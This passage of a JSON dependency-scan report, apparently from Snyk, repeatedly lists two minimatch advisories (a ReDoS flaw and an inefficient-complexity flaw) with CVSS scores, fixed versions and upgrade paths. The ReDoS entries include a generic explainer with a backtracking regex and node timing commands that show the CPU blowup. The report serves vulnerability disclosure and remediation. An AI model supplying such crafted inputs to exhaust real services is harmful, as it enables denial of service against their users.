}, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 